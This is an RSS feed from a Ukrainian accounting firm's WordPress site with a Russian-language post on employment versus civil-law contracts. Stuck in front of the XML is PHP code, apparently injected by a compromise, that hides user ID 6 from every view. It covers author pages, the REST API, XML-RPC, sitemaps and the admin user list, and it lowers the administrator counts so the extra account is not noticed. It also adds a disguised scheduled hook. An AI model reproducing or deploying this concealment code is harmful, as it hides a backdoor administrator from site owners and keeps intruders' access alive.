add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 6;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 6 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 6 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 6;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 6;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 6;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/6(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 6;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-6{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>трудовой и гражданско-правовой договоры – Assets</title>
	<atom:link href="https://assets-buh.com.ua/ru/tag/trudovij-ta-tsivilno-pravovij-dogovori/feed/" rel="self" type="application/rss+xml" />
	<link>https://assets-buh.com.ua/ru</link>
	<description>Бухгалтерские услуги, сопровождение для ООО и ФЛП в Киеве</description>
	<lastbuilddate>Wed, 18 Oct 2023 13:02:12 +0000</lastbuilddate>
	<language>ru-RU</language>
	<sy:updateperiod>
	hourly	</sy:updateperiod>
	<sy:updatefrequency>
	1	</sy:updatefrequency>
	<generator>https://wordpress.org/?v=5.7.15</generator>
	<item>
		<title>Чем отличаются трудовой и гражданско-правовой договоры</title>
		<link>http://assets-buh.com.ua/ru/nim-vidryazhayutsya-trudyashhijsya-i-tsivilno-pravovyj-dogovori/</link>
					<comments>http://assets-buh.com.ua/ru/nim-vidryazhayutsya-trudyashhijsya-i-tsivilno-pravovyj-dogovori/#respond</comments>
		
		<dc:creator><![CDATA[it4u]]></dc:creator>
		<pubdate>Wed, 18 Oct 2023 13:01:51 +0000</pubdate>
				<category><![CDATA[Інструкції]]></category>
		<category><![CDATA[ТОВ]]></category>
		<category><![CDATA[Усі]]></category>
		<category><![CDATA[ФОП]]></category>
		<category><![CDATA[трудовий та цивільно-правовий договори]]></category>
		<guid ispermalink="false">https://assets-buh.com.ua/?p=2008</guid>

					<description><![CDATA[<p>Трудовой договор Трудовой договор – это соглашение между наемным работником и работодателем (им может быть компания, ФЛП и даже физическое лицо, нанимающее водителя или няню). Трудовой договор регулирует процесс выполнения работы по определенной специальности, квалификации или должности, а также требует соблюдения правил внутреннего трудового распорядка. По трудовому договору специалист обязуется выполнять работу, указанную в договоре, а работодатель […]</p>
<p>The post <a rel="nofollow" href="http://assets-buh.com.ua/ru/nim-vidryazhayutsya-trudyashhijsya-i-tsivilno-pravovyj-dogovori/">Чим відрізняються трудовий та цивільно-правовий договори</a> appeared first on <a rel="nofollow" href="https://assets-buh.com.ua/ru">Assets</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h2 class="wp-block-heading"><img loading="lazy" class="alignnone wp-image-2009 size-large" src="http://assets-buh.com.ua/wp-content/uploads/2023/10/64f5795b78e20-610x1024.png" alt="" width="610" height="1024" srcset="https://assets-buh.com.ua/wp-content/uploads/2023/10/64f5795b78e20-610x1024.png 610w, https://assets-buh.com.ua/wp-content/uploads/2023/10/64f5795b78e20-179x300.png 179w, https://assets-buh.com.ua/wp-content/uploads/2023/10/64f5795b78e20-768x1290.png 768w, https://assets-buh.com.ua/wp-content/uploads/2023/10/64f5795b78e20-914x1536.png 914w, https://assets-buh.com.ua/wp-content/uploads/2023/10/64f5795b78e20-1219x2048.png 1219w" sizes="(max-width: 610px) 100vw, 610px" /></h2>
<h2 class="wp-block-heading">Трудовой договор</h2>
<p>Трудовой договор – это соглашение между наемным работником и работодателем (им может быть компания, ФЛП и даже физическое лицо, нанимающее водителя или няню). Трудовой договор регулирует процесс выполнения работы <strong>по определенной специальности, квалификации или должности</strong>, а также требует соблюдения правил внутреннего трудового распорядка.</p>
<p>По трудовому договору специалист обязуется выполнять работу, указанную в договоре, а работодатель – выплачивать за это заработную плату и обеспечивать достойные и безопасные условия труда, предусмотренные законодательством о труде, а также предоставить исполнителю рабочее место, оборудование, средства индивидуальной защиты.</p>
<p>С одной стороны, наемный работник зависит от работодателя. Если вы хотите взять отпуск, остаться дома по семейным обстоятельствам, пойти к врачу в течение рабочего дня — получить разрешение руководителя.</p>
<p>С другой – работник имеет ряд социальных и трудовых гарантий:</p>
<ul>
<li>регулярная оплата труда – не менее двух раз в месяц;</li>
<li>нормированное рабочее время;</li>
<li>больничные;</li>
<li>оплачиваемые выходные и отпуска;</li>
<li>защиту от незаконного освобождения и т.д.</li>
</ul>
<h2 class="wp-block-heading">Гражданско-правовой договор</h2>
<p>По гражданско-правовому договору (соглашению) <strong>нет работодателей и работников</strong>. Есть исполнитель, который обязуется выполнить определенную работу или оказать услугу, и заказчик, принимающий и оплачивающий ее.</p>
<p>Такие взаимоотношения могут заключаться между любыми юридическими или физическими лицами и регулируются Гражданским кодексом Украины. На них <strong>не распространяется действие трудового законодательства</strong>.</p>
<p>Предметом договора есть конечный результат, а не процесс его достижения. Обе стороны – независимы и равноправны.</p>
<ul>
<li>Заказчик не должен заботиться об условиях труда, предоставлять рабочее место и оборудование, оплачивать больничные.</li>
<li>Исполнитель самостоятельно организует работу и отвечает за ее своевременное исполнение.</li>
<li>Размер вознаграждения и срок оплаты определяются соглашением сторон, а не законодательством.</li>
</ul>
<h2 class="wp-block-heading">Что выбрать</h2>
<p>Часто работодатели заключают с работниками гражданско-правовые соглашения, а не трудовые. В отношениях работник – работодатель должен заключаться трудовой договор. Гражданско-правовое соглашение о предоставлении услуг заключается в случае сотрудничества с независимым подрядчиком или лицом, обеспечивающим себя работой самостоятельно, то есть занимается предпринимательством, бизнесом.</p>
<p>Для более продолжительного сотрудничества лучше подходит трудовой договор. Порядок оформления трудовых отношений с наемными работниками одинаков для всех работодателей. Он включает три основных шага:</p>
<ul>
<li>заключение трудового договора;</li>
<li>оформление приказа о принятии на работу;</li>
<li>уведомление Государственной налоговой службы.</li>
</ul>
<p><img loading="lazy" class="alignnone wp-image-2013 size-large" src="http://assets-buh.com.ua/wp-content/uploads/2023/10/64f198b953039-1024x938.png" alt="" width="1024" height="938" srcset="https://assets-buh.com.ua/wp-content/uploads/2023/10/64f198b953039-1024x938.png 1024w, https://assets-buh.com.ua/wp-content/uploads/2023/10/64f198b953039-300x275.png 300w, https://assets-buh.com.ua/wp-content/uploads/2023/10/64f198b953039-768x703.png 768w, https://assets-buh.com.ua/wp-content/uploads/2023/10/64f198b953039-1536x1406.png 1536w, https://assets-buh.com.ua/wp-content/uploads/2023/10/64f198b953039-2048x1875.png 2048w" sizes="(max-width: 1024px) 100vw, 1024px" /></p>
<p>&nbsp;</p>
<p>Источник: AIN</p><p>The post <a rel="nofollow" href="http://assets-buh.com.ua/ru/nim-vidryazhayutsya-trudyashhijsya-i-tsivilno-pravovyj-dogovori/">Чим відрізняються трудовий та цивільно-правовий договори</a> appeared first on <a rel="nofollow" href="https://assets-buh.com.ua/ru">Assets</a>.</p>
]]></content:encoded>
					
					<wfw:commentrss>http://assets-buh.com.ua/ru/nim-vidryazhayutsya-trudyashhijsya-i-tsivilno-pravovyj-dogovori/feed/</wfw:commentrss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>